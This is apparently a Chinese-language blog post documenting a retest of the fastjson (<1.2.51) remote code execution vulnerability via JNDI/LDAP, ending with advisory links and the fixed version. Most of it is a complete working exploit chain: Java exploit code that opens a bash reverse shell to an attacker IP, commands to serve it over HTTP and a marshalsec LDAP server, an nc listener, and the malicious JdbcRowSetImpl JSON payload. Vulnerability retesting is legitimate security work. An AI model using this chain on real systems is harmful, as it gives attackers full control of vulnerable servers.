0x00:漏洞情况
前2周接到外部安全厂商阿里开源组件fastjson爆发高危漏洞预警,该漏洞可通过恶意构造Paylod发送JSON请求对系统进行远程代码执行,可导致直接获取服务器权限。前边很久之前对漏洞进行复测,确认通过该漏洞可直接获取服务器权限,漏洞风险高。
上边文章的介绍采用的是rmi的方式进行监听反弹,无奈没复测成功。今天将漏洞的ldap方式利用过程写成博客记录下形成笔记。
影响版本fastjson < 1.2.51.
安全版本fastjson >= 1.2.51
0x01:漏洞复现过程
演示环境信息:
攻击者机器:172.28.37.102
JDK版本:1.8.0_25
受害者:10.18.19.46:8080
fastjson-1.2.44.jar
1、准备文件放置到web目录下:Exploit.java
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
public class Exploit{
public Exploit() {}
static
{
try {
String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
? new String[]{"cmd.exe","/c", "calc.exe"}
: new String[]{"bash", "-c", "/bin/bash -i >& /dev/tcp/172.28.37.102/7777 0>&1"};
Runtime.getRuntime().exec(cmds);
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
Exploit e = new Exploit();
System.out.println("hello world");
}
}
2、攻击机器运行python快速形成http服务器:
python -m SimpleHTTPServer 8888
3、修改并编译上边的Exploit.java文件源代码将反弹shell的地址修改好,拷贝Exploit.class放在这个快速构建http服务器的web根目录
4、启动ldap服务,监听1389端口:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://172.28.37.102:8888/#Exploit
5、执行监听:
nc -lvp 7777
6、 通过JSON请求发送数据包攻击服务器,获取服务器权限。修改抓到json的请求包,为以下内容。
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://172.28.37.102:1389/Exploit","autoCommit":true}
成功攻击服务器获取服务器权限。
0x03: 外部漏洞预警
国家信息安全漏洞库:http://www.cnnvd.org.cn/web/bulletin/bulletinById.tag?mkid=150
阿里云:https://help.aliyun.com/noticelist/articleid/1060026793.html
官方漏洞公告提示升级fastjson组件:https://github.com/alibaba/fastjson/wiki/update_faq_20190722